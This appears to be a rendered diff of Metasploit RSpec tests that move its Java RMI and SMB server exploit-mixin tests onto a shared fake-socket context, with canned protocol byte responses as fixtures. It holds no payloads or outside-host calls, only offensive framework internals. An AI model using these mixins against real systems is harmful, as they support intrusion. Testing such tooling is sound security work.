describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do
|
||||
RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do
|
||||
|
||||
let(:list_with_names_response) do
|
||||
include_context "Msf::StringIO"
|
||||
|
||||
let(:name) do
|
||||
'jmxrmi'
|
||||
end
|
||||
|
||||
let(:interface_class) do
|
||||
'javax.management.remote.rmi.RMIServerImpl_Stub'
|
||||
end
|
||||
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
describe "#send_registry_list" do
|
||||
context "when there aren't names registered" do
|
||||
let(:list_empty_response) {
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" +
|
||||
"\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" +
|
||||
"\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" +
|
||||
"\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00"
|
||||
}
|
||||
|
||||
it "returns empty array" do
|
||||
msf_io.msf_data = list_empty_response
|
||||
expect(mod.send_registry_list(sock: msf_io)).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context "when there are names registered" do
|
||||
let(:list_with_names_response) {
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" +
|
||||
"\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" +
|
||||
"\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" +
|
||||
"\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" +
|
||||
"\x00\x06\x6a\x6d\x78\x72\x6d\x69"
|
||||
}
|
||||
|
||||
it "returns the list of registered names" do
|
||||
msf_io.msf_data = list_with_names_response
|
||||
expect(mod.send_registry_list(sock: msf_io)).to eq([name])
|
||||
end
|
||||
end
|
||||
|
||||
let(:list_empty_response) do
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" +
|
||||
"\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" +
|
||||
"\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" +
|
||||
"\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:lookup_response) do
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" +
|
||||
"\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" +
|
||||
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" +
|
||||
"\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" +
|
||||
"\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" +
|
||||
"\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
|
||||
"\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" +
|
||||
"\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" +
|
||||
"\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" +
|
||||
"\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" +
|
||||
"\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" +
|
||||
"\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" +
|
||||
"\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" +
|
||||
"\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" +
|
||||
"\x84\x49\x80\x01\x01\x78"
|
||||
end
|
||||
|
||||
let(:lookup_exception) do
|
||||
describe "#send_registry_lookup" do
|
||||
context "when there isn't an interface bound" do
|
||||
let(:lookup_exception) {
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" +
|
||||
"\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" +
|
||||
"\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" +
|
||||
|
@ -132,114 +149,35 @@ describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do
|
|||
"\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" +
|
||||
"\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" +
|
||||
"\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78"
|
||||
end
|
||||
|
||||
let(:name) do
|
||||
'jmxrmi'
|
||||
end
|
||||
|
||||
let(:interface_class) do
|
||||
'javax.management.remote.rmi.RMIServerImpl_Stub'
|
||||
end
|
||||
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:io) { StringIO.new('', 'w+b') }
|
||||
|
||||
describe "#send_registry_list" do
|
||||
context "when there aren't names registered" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(list_empty_response)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io|
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
it "returns empty array" do
|
||||
expect(mod.send_registry_list(sock: io)).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context "when there are names registered" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(list_with_names_response)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io|
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
it "returns the list of registered names" do
|
||||
expect(mod.send_registry_list(sock: io)).to eq([name])
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe "#send_registry_lookup" do
|
||||
context "when there isn't an interface bound" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(lookup_exception)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io|
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
}
|
||||
it "raises an Rex::Proto::Rmi::Exception" do
|
||||
expect { mod.send_registry_lookup(sock: io, name: 'test') }.to raise_error(Rex::Proto::Rmi::Exception)
|
||||
msf_io.msf_data = lookup_exception
|
||||
expect { mod.send_registry_lookup(sock: msf_io, name: 'test') }.to raise_error(Rex::Proto::Rmi::Exception)
|
||||
end
|
||||
end
|
||||
|
||||
context "when there is an interface bound" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(lookup_response)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io|
|
||||
false
|
||||
end
|
||||
end
|
||||
let(:lookup_response) {
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" +
|
||||
"\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" +
|
||||
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" +
|
||||
"\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" +
|
||||
"\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" +
|
||||
"\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
|
||||
"\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" +
|
||||
"\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" +
|
||||
"\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" +
|
||||
"\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" +
|
||||
"\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" +
|
||||
"\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" +
|
||||
"\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" +
|
||||
"\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" +
|
||||
"\x84\x49\x80\x01\x01\x78"
|
||||
}
|
||||
|
||||
it "returns the reference information" do
|
||||
expect(mod.send_registry_lookup(sock: io, name: name)[:object]).to eq(interface_class)
|
||||
msf_io.msf_data = lookup_response
|
||||
expect(mod.send_registry_lookup(sock: msf_io, name: name)[:object]).to eq(interface_class)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,19 +5,66 @@ require 'rex/java/serialization'
|
|||
require 'rex/proto/rmi'
|
||||
require 'msf/core/exploit/java/rmi/client'
|
||||
|
||||
describe Msf::Exploit::Remote::Java::Rmi::Client do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do
|
||||
|
||||
include_context "Msf::StringIO"
|
||||
|
||||
subject(:instance) {
|
||||
klass.new
|
||||
}
|
||||
|
||||
let(:klass) {
|
||||
context_described_class = described_class
|
||||
|
||||
Class.new(Msf::Exploit) do
|
||||
include context_described_class
|
||||
end
|
||||
}
|
||||
|
||||
describe "#send_header" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(instance.send_header(sock: msf_io)).to eq(13)
|
||||
end
|
||||
end
|
||||
|
||||
let(:io) { StringIO.new('', 'w+b') }
|
||||
describe "#send_call" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(instance.send_call(sock: msf_io)).to eq(41)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_dgc_ack" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(instance.send_dgc_ack(sock: msf_io)).to eq(15)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#recv_protocol_ack" do
|
||||
context "when end point returns protocol ack" do
|
||||
let(:protocol_ack) {
|
||||
"\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea"
|
||||
}
|
||||
|
||||
it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do
|
||||
msf_io.pos = 0
|
||||
msf_io.string = protocol_ack
|
||||
expect(instance.recv_protocol_ack(sock: msf_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck)
|
||||
end
|
||||
end
|
||||
|
||||
context "when end point returns protocol not supported" do
|
||||
let(:protocol_not_supported) { "\x4f" }
|
||||
let(:protocol_not_supported_io) { StringIO.new(protocol_not_supported) }
|
||||
let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" }
|
||||
let(:protocol_ack_io) { StringIO.new(protocol_ack) }
|
||||
|
||||
it "return nil" do
|
||||
msf_io.pos = 0
|
||||
msf_io.string = protocol_not_supported
|
||||
expect(instance.recv_protocol_ack(sock: msf_io)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#recv_return" do
|
||||
context "when end point returns a value to the call" do
|
||||
let(:return_data) do
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" +
|
||||
"\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" +
|
||||
|
@ -38,64 +85,17 @@ describe Msf::Exploit::Remote::Java::Rmi::Client do
|
|||
"\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" +
|
||||
"\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0"
|
||||
end
|
||||
let(:return_io) { StringIO.new(return_data) }
|
||||
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io|
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_header" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_header(sock: io)).to eq(13)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_call" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_call(sock: io)).to eq(41)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_dgc_ack" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_dgc_ack(sock: io)).to eq(15)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#recv_protocol_ack" do
|
||||
context "when end point returns protocol ack" do
|
||||
it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do
|
||||
expect(mod.recv_protocol_ack(sock: protocol_ack_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck)
|
||||
end
|
||||
end
|
||||
|
||||
context "when end point returns protocol not supported" do
|
||||
it "return nil" do
|
||||
expect(mod.recv_protocol_ack(sock: protocol_not_supported_io)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#recv_return" do
|
||||
context "when end point returns a value to the call" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.recv_return(sock: return_io)).to be_a(Rex::Proto::Rmi::Model::ReturnValue)
|
||||
msf_io.pos = 0
|
||||
msf_io.string = return_data
|
||||
expect(instance.recv_return(sock: msf_io)).to be_a(Rex::Proto::Rmi::Model::ReturnValue)
|
||||
end
|
||||
end
|
||||
|
||||
context "when end point doesn't return a value to the call" do
|
||||
it "returns nil" do
|
||||
expect(mod.recv_return(sock: io)).to be_nil
|
||||
expect(instance.recv_return(sock: msf_io)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'spec_helper'
|
|||
require 'rex/java/serialization'
|
||||
require 'msf/core/exploit/java/rmi/util'
|
||||
|
||||
describe Msf::Exploit::Remote::Java::Rmi::Util do
|
||||
RSpec.describe Msf::Exploit::Remote::Java::Rmi::Util do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Java::Rmi::Util
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'spec_helper'
|
|||
require 'msf/core'
|
||||
require 'msf/core/data_store'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Client::LocalPaths do
|
||||
RSpec.describe Msf::Exploit::Remote::SMB::Client::LocalPaths do
|
||||
subject do
|
||||
mod = ::Msf::Module.new
|
||||
mod.extend described_class
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'spec_helper'
|
|||
require 'msf/core'
|
||||
require 'msf/core/data_store'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Client::RemotePaths do
|
||||
RSpec.describe Msf::Exploit::Remote::SMB::Client::RemotePaths do
|
||||
subject do
|
||||
mod = ::Msf::Module.new
|
||||
mod.extend described_class
|
||||
|
|
|
@ -5,7 +5,9 @@ require 'spec_helper'
|
|||
require 'msf/core'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
include_context "Msf::StringIO"
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
|
@ -15,8 +17,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
let(:response_length) { 39 }
|
||||
let(:valid_response) do
|
||||
"\x00\x00\x00\x23\xff\x53\x4d\x42" +
|
||||
|
@ -28,28 +28,23 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
|
||||
before(:each) do
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
msf_io => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
})
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_close_res" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_close_res(client)).to eq(response_length)
|
||||
expect(mod.send_close_res(msf_io)).to eq(response_length)
|
||||
end
|
||||
|
||||
it "sends a valid SMB_COM_CLOSE response to the client" do
|
||||
mod.send_close_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
mod.send_close_res(msf_io)
|
||||
res = msf_io.read
|
||||
expect(res).to eq(valid_response)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -6,7 +6,9 @@ require 'msf/core'
|
|||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
include_context "Msf::StringIO"
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
|
@ -16,8 +18,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
let(:default_response_length) { 73 }
|
||||
let(:default_response) do
|
||||
"\x00\x00\x00\x45\xff\x53\x4d\x42" +
|
||||
|
@ -47,7 +47,7 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
|
||||
before(:each) do
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
msf_io => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
|
@ -56,35 +56,29 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
})
|
||||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_negotitate_res" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_negotitate_res(client)).to eq(default_response_length)
|
||||
expect(mod.send_negotitate_res(msf_io)).to eq(default_response_length)
|
||||
end
|
||||
|
||||
it "sends a valid SMB_COM_NEGOTIATE response to the client" do
|
||||
mod.send_negotitate_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
mod.send_negotitate_res(msf_io)
|
||||
res = msf_io.read
|
||||
expect(res).to eq(default_response)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_negotiate" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_negotiate(client, valid_request)).to eq(valid_response_length)
|
||||
expect(mod.smb_cmd_negotiate(msf_io, valid_request)).to eq(valid_response_length)
|
||||
end
|
||||
|
||||
it "returns an 8 byte challenge" do
|
||||
mod.smb_cmd_negotiate(client, valid_request)
|
||||
client.seek(0)
|
||||
mod.smb_cmd_negotiate(msf_io, valid_request)
|
||||
pkt = Rex::Proto::SMB::Constants::SMB_NEG_RES_NT_PKT.make_struct
|
||||
pkt.from_s(client.read)
|
||||
pkt.from_s(msf_io.read)
|
||||
|
||||
expect(pkt['Payload'].v['KeyLength']).to eq(challenge_length)
|
||||
end
|
||||
|
|
|
@ -5,7 +5,9 @@ require 'msf/core'
|
|||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
include_context "Msf::StringIO"
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
|
@ -15,9 +17,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
|
||||
let(:default_response_length) { 139 }
|
||||
let(:default_response) do
|
||||
"\x00\x00\x00\x87\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
|
@ -68,8 +67,9 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
let(:smb_error_length) { 39 }
|
||||
|
||||
before(:each) do
|
||||
msf_io.string = ''
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
msf_io => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
|
@ -81,21 +81,16 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod.share = 'test'
|
||||
mod.file_name = 'false.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_nt_create_andx_res" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_nt_create_andx_res(client)).to eq(default_response_length)
|
||||
expect(mod.send_nt_create_andx_res(msf_io)).to eq(default_response_length)
|
||||
end
|
||||
|
||||
it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do
|
||||
mod.send_nt_create_andx_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
mod.send_nt_create_andx_res(msf_io)
|
||||
res = msf_io.read
|
||||
expect(res).to eq(default_response)
|
||||
end
|
||||
end
|
||||
|
@ -103,26 +98,24 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
describe "#smb_cmd_nt_create_andx" do
|
||||
context "when valid request" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_nt_create_andx(client, valid_request)).to eq(default_response_length)
|
||||
expect(mod.smb_cmd_nt_create_andx(msf_io, valid_request)).to eq(default_response_length)
|
||||
end
|
||||
|
||||
it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do
|
||||
mod.smb_cmd_nt_create_andx(client, valid_request)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
mod.smb_cmd_nt_create_andx(msf_io, valid_request)
|
||||
res = msf_io.read
|
||||
expect(res).to eq(valid_response)
|
||||
end
|
||||
end
|
||||
|
||||
context "when non existent path create requests" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_nt_create_andx(client, non_existent_path_request)).to eq(smb_error_length)
|
||||
expect(mod.smb_cmd_nt_create_andx(msf_io, non_existent_path_request)).to eq(smb_error_length)
|
||||
end
|
||||
|
||||
it "sends a SMB_STATUS_OBJECT_NAME_NOT_FOUND error response to the client" do
|
||||
mod.smb_cmd_nt_create_andx(client, non_existent_path_request)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
mod.smb_cmd_nt_create_andx(msf_io, non_existent_path_request)
|
||||
res = msf_io.read
|
||||
expect(res).to eq(smb_error_response)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,7 +5,9 @@ require 'msf/core'
|
|||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
include_context "Msf::StringIO"
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
|
@ -15,9 +17,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
|
||||
let(:default_response_length) { 63 }
|
||||
let(:default_response) do
|
||||
"\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
|
@ -56,8 +55,9 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
let(:empty_response_length) { 63 }
|
||||
|
||||
before(:each) do
|
||||
msf_io.string = ''
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
msf_io => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
|
@ -69,21 +69,16 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod.share = 'test'
|
||||
mod.file_name = 'false.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_read_andx_res" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_read_andx_res(client)).to eq(default_response_length)
|
||||
expect(mod.send_read_andx_res(msf_io)).to eq(default_response_length)
|
||||
end
|
||||
|
||||
it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do
|
||||
mod.send_read_andx_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
mod.send_read_andx_res(msf_io)
|
||||
res = msf_io.read
|
||||
expect(res).to eq(default_response)
|
||||
end
|
||||
end
|
||||
|
@ -92,26 +87,24 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
|
||||
context "when read request for valid offset" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_read_andx(client, valid_request)).to eq(valid_response_length)
|
||||
expect(mod.smb_cmd_read_andx(msf_io, valid_request)).to eq(valid_response_length)
|
||||
end
|
||||
|
||||
it "sends a valid response with the contents to the client" do
|
||||
mod.smb_cmd_read_andx(client, valid_request)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
mod.smb_cmd_read_andx(msf_io, valid_request)
|
||||
res = msf_io.read
|
||||
expect(res).to eq(valid_response)
|
||||
end
|
||||
end
|
||||
|
||||
context "when read request for invalid offset" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_read_andx(client, invalid_offset_request)).to eq(empty_response_length)
|
||||
expect(mod.smb_cmd_read_andx(msf_io, invalid_offset_request)).to eq(empty_response_length)
|
||||
end
|
||||
|
||||
it "sends an empty read response to the client" do
|
||||
mod.smb_cmd_read_andx(client, invalid_offset_request)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
mod.smb_cmd_read_andx(msf_io, invalid_offset_request)
|
||||
res = msf_io.read
|
||||
expect(res).to eq(empty_response)
|
||||
end
|
||||
end
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue